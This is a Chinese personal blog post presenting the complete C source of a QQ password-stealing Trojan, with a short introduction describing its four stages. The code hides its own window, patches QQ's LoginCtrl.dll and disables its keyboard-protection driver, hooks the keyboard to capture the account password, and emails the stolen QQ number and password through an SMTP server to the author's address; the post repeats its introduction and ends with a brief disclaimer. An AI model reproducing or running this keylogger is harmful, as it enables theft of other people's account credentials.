D 的个人博客

开源程序员,自由职业者

小而美的 Java 博客系统 Solo
Golang 在线 IDE Wide
黑客与画家的社区 Sym
  menu

QQ木马的简单实现,QQ盗号核心编程。。。。

宿舍是搬完了,不能上网,这个事情是相当呢郁闷了。。。。

哎。。。。现在在机房,写贴子:

A sample source code about how to program QQ Trojan

呵呵,假期在家里。看看数据结构,看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!

还记得以前写过些关于初级QQ盗号程序的帖子(自己也只有这个水平- -#),这个假期称着有时间,整理了一下。好了,废话不多说,下面介绍一下这个程序的4个大的部分:

1.Search QQ  Directory。这是相当关键的一步,是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找,貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然,这样的话就只能在QQ运行的状态下测试了,否则就得自己在源码里设定QQ的安装路径。

2.Crack Keyboard Protection.以前有写过,这里不再啰嗦。。。。

3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章,那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了,用了个自己写的.dll。后来发现那样不方便,而且自己是在用C(结合Win32 API)写Console的东西,所以就可以自己定义一下控制台的处理。。。。详见源码吧- -!

4.Send Mail。这是最后一步,也是最关键的一步!可惜现在我是技术不过关,用的是SMTP协议进行的发送,这样会被防火墙发现的。。。。哎。。。。

好了,介绍就到这里,下面是源码了:

呵呵,假期在家里。看看数据结构,看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!

还记得以前写过些关于初级QQ盗号程序的帖子(自己也只有这个水平- -#),这个假期称着有时间,整理了一下。好了,废话不多说,下面介绍一下这个程序的4个大的部分:

1.Search QQ  Directory。这是相当关键的一步,是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找,貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然,这样的话就只能在QQ运行的状态下测试了,否则就得自己在源码里设定QQ的安装路径。
2.Crack Keyboard Protection.以前有写过,这里不再啰嗦。。。。
3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章,那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了,用了个自己写的.dll。后来发现那样不方便,而且自己是在用C(结合Win32 API)写Console的东西,所以就可以自己定义一下控制台的处理。。。。详见源码吧- -!
4.Send Mail。这是最后一步,也是最关键的一步!可惜现在我是技术不过关,用的是SMTP协议进行的发送,这样会被防火墙发现的。。。。哎。。。。
好了,介绍就到这里,下面是源码了::-p;

/* 文件名:QQ Keyboard Recorder.c
*   用途:对QQ击键型木马的表面研究
* 完成日期: 2006.8   Ver 0.01
*  作者: 88250
*  联系方式: E-mail: DL88250@gmail.com \ QQ:845765
*/
#define _WIN32_WINNT 0x0400
#i nclude <io.h>
#i nclude <stdio.h>
#i nclude <stdlib.h>
#i nclude <windows.h>
#i nclude <Tlhelp32.h>
#i nclude <psapi.h>

#define USER_ID 0x0000008A
#define PSW_ID        0x000000B4

#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "ws2_32.lib")

char sDirPath[255] = "C:\\Program Files\\QQ";
char sUser[255] = {'U', 's', 'e', 'r', ':', ' '};
char sPsw[255] = {'.', 'P', 's', 'w', 'd', ':', ' '};
char MailData[255] = "From: \"dl88250\"<dl82850@126.com>\r\n"
                                        "Subject: ";
int nPsw = 7;
HWND hLogin = NULL, hUser = NULL, hPsw = NULL, hWnd = NULL;
HWND hSelf = NULL;
DWORD g_tid = 0;            /* 当前的线程ID */
HHOOK g_hook = NULL;        /* Keyboard Hook Handle */

int KillProcess(char *c1, char *c2)
{
        int nSecFlag = 0;      /* 关闭成功的标志 */
        HANDLE handle = NULL;
        PROCESSENTRY32 *info = NULL;  /* 进程快照结构体 */
        handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        info = (PROCESSENTRY32 *)malloc(sizeof(PROCESSENTRY32));
        info->dwSize = sizeof(PROCESSENTRY32);
        Process32First(handle, info);
        /* 开始枚举当前进程 */
        while (Process32Next(handle, info) != FALSE){
                info->szExeFile;
                if ((0 == strcmp(c1, info->szExeFile)) || (0 == strcmp(c2, info->szExeFile))){
                        hWnd = (HWND)OpenProcess(PROCESS_TERMINATE, FALSE, info->th32ProcessID);
                        TerminateProcess(hWnd, 0);       /* 结束 */
                        nSecFlag = 1;
                }
        }
        CloseHandle(handle);
        if (1 == nSecFlag){
            return 1;
        }else{
                return 0;     /* 结束失败 */
        }
}

void SendMail(void)
{
        WSADATA wsaData;
        WORD wVersionRequested = MAKEWORD(2, 2);
    struct hostent *pHostent = NULL;
    SOCKET server = INVALID_SOCKET;
    struct sockaddr_in service;

    char Buffer[1024] = {0};
        WSAStartup(wVersionRequested, &wsaData);
    server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    pHostent = gethostbyname("smtp.126.com");
    service.sin_family = AF_INET;
    memcpy(&service.sin_addr.s_addr, pHostent->h_addr_list[0], pHostent->h_length);
    service.sin_port = htons(25);
    connect(server, (struct sockaddr*)&service, sizeof(service));
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "HELO Server....\r\n", strlen("HELO Server....\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "MAIL FROM: <lbeyond4koma@126.com>\r\n", strlen("MAIL FROM: <lbeyond4koma@126.com>\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "RCPT TO: <dl88250@gmail.com>\r\n", strlen("RCPT TO: <dl88250@gmail.com>\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "Data\r\n", strlen("Data\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, MailData, strlen(MailData), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "QUIT\r\n", strlen("QUIT\r\n"), 0);
    WSACleanup();
        printf("Success!");
        ExitProcess(0);
        return;
}
/* 处理一下截取的帐号和密码,并整合到邮件主题里 */
void DealWith(void)
{
        strcat(MailData, sUser);
        strcat(MailData, sPsw);
        strcat(MailData, "\r\n.\r\n");
        printf("%s", MailData);
        SendMail();
        return;
}
/* 枚举子窗口,寻找QQ号以及密码的控件Handle */
BOOL CALLBACK EnumChildWndProc (HWND hwnd, LPARAM lParam)
{
        long id = GetWindowLong(hwnd, GWL_ID);
        if (!hwnd){
        return FALSE;
        }
        if (id == USER_ID){
                hUser = hwnd;
        }else if (id == PSW_ID){
                hPsw = hwnd;
        }
        return TRUE;
}

/* 定义console的处理函数,用于退出当前的线程,以便Hook */
BOOL CALLBACK con_handler(DWORD g_tid)
{
        PostThreadMessage(g_tid, WM_QUIT, 0, 0);
        return TRUE;
}
/* 分析键盘按键,这里基本没在做大小写的判定。
× 而且在登录的时候只能用回车。。。。
*/
LRESULT CALLBACK kb_proc(int code, WPARAM wParam, LPARAM lParam)
{
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
        if (wParam == WM_KEYDOWN && p->vkCode == VK_RETURN && lParam > 0){
            SendMessage(hUser, WM_GETTEXT, 20, (LPARAM)(sUser + 6));
                UnhookWindowsHookEx(g_hook);
                DealWith();             /* 开始处理截取的数据 */
        }
        if ((wParam == WM_KEYDOWN) && ((p->vkCode > 47) && (p->vkCode < 58))){
                sPsw[nPsw] = p->vkCode;
                nPsw++;
                goto next;
        }
        if ((wParam == WM_KEYDOWN) && ((p->vkCode > 64) && (p->vkCode < 91))){
                sPsw[nPsw] = p->vkCode + 32;
                nPsw++;
                goto next;
        }
        if (((wParam == WM_KEYDOWN) && ((GetKeyState(VK_CAPITAL) & 1) || (GetKeyState(VK_SHIFT) & 1)))
                && (((p->vkCode > 64) && (p->vkCode < 91)))){
                sPsw[nPsw] = p->vkCode;
                nPsw++;
                goto next;
        }
        next:
                return CallNextHookEx(g_hook, code, wParam, lParam);
}

/* 查找需要的句柄, 并开始Hook*/
void Start(void)
{
        MSG msg;
        if (hLogin = FindWindow("#32770", "QQ用户登录")){
                EnumChildWindows(hLogin, EnumChildWndProc, 0);
                if (hUser != NULL){
                        g_tid = GetCurrentThreadId();
                        SetConsoleCtrlHandler(&con_handler, TRUE);
                        g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, &kb_proc, GetModuleHandle(NULL),0);
                        while (GetMessage(&msg, NULL, 0, 0)){
                                TranslateMessage(&msg);
                                DispatchMessage(&msg);
                        }
                }
        }
        return;
}
/* 对QQ:\\LoginCtrl.dll以及npkcrypt.sys文件动点手脚^^,实现破解键盘保护*/
void Crack(void)
{
        char crack[1];
        char sLCpath[255];
        char sNpkcrypt[255], sNpkcryptDL[255];
        FILE *f = NULL;
        strcpy(sLCpath, sDirPath);
        strcpy(sNpkcrypt, sDirPath);
        strcat(sNpkcrypt, "\\npkcrypt.sys");
        strcpy(sNpkcryptDL, sDirPath);
        strcat(sNpkcryptDL, "\\npkcrypt.DL");
        rename(sNpkcrypt, sNpkcryptDL);
        f = fopen(strcat(sLCpath, "\\LoginCtrl.dll"), "rb+");
        if (f == NULL){
            return;
        }
        fseek(f, 63921, SEEK_SET);
        crack[0] = 115;                          // 116 -> 115
        fwrite(crack, sizeof(char), 1, f);
        fseek(f, 64105, SEEK_SET);
        crack[0] = 193;           // 194 -> 193
        fwrite(crack, sizeof(char), 1, f);
        fseek(f, 64135, SEEK_SET);
        crack[0] = 158;                          // 159 -> 158
        fwrite(crack, sizeof(char), 1, f);

        fclose(f);

        return;
}

int main(void)
{
        DWORD processid[1024], pBytesReturned[1024], processSum, i;
        HANDLE hProcess;
        HMODULE hModule;
        char path[MAX_PATH] = "";
        hSelf = FindWindow("ConsoleWindowClass", NULL);   /* 程序自身Handle */
        /* 实现自身的伪隐藏 */
        SetWindowLong(hSelf, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
        SetWindowPos(hSelf, HWND_BOTTOM, 0, 0, 0, 0, SWP_HIDEWINDOW);
        /* 枚举当前进程,找到QQ进程后关闭 */
        EnumProcesses(processid, sizeof(processid), pBytesReturned);
        processSum = *pBytesReturned / sizeof(DWORD);
        for (i = 0; i < processSum; i++){
                hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processid[i]);
                if (hProcess){
                        EnumProcessModules(hProcess, &hModule, sizeof(hModule), pBytesReturned);
                        GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));
                        GetShortPathName(path, path, 256);
                        if (strstr(path, "QQ.exe") || strstr(path, "QQ.EXE")){
                                strcpy(sDirPath, path);
                        }
                }
        }
        CloseHandle(hProcess);
        CloseHandle(hModule);
        *(sDirPath + (strlen(sDirPath) - 6)) = '\0';
        for (i = strlen(sDirPath); i > 1; i--){
            sDirPath[i+1] = sDirPath[i];

        }
        sDirPath[++i] = '\\';
        Crack();
        Start();
        Sleep(5000);
        if (1 == KillProcess("QQ.EXE", "QQ.exe")){
                Crack();
                strcpy(path, sDirPath);
                strcat(path, "\\QQ.exe");
                WinExec(path, SW_SHOW);
        }
        Crack();
        while (TRUE){
                Sleep(8);     /* 降低CPU占用 */
                Start();
        }
}

再次申明,这个东西还是有一定有危险性的- -!这里只是技术上的交流,不要乱弄。。。。:=.=!

呵呵。。。。好了,收工了,终于 ^^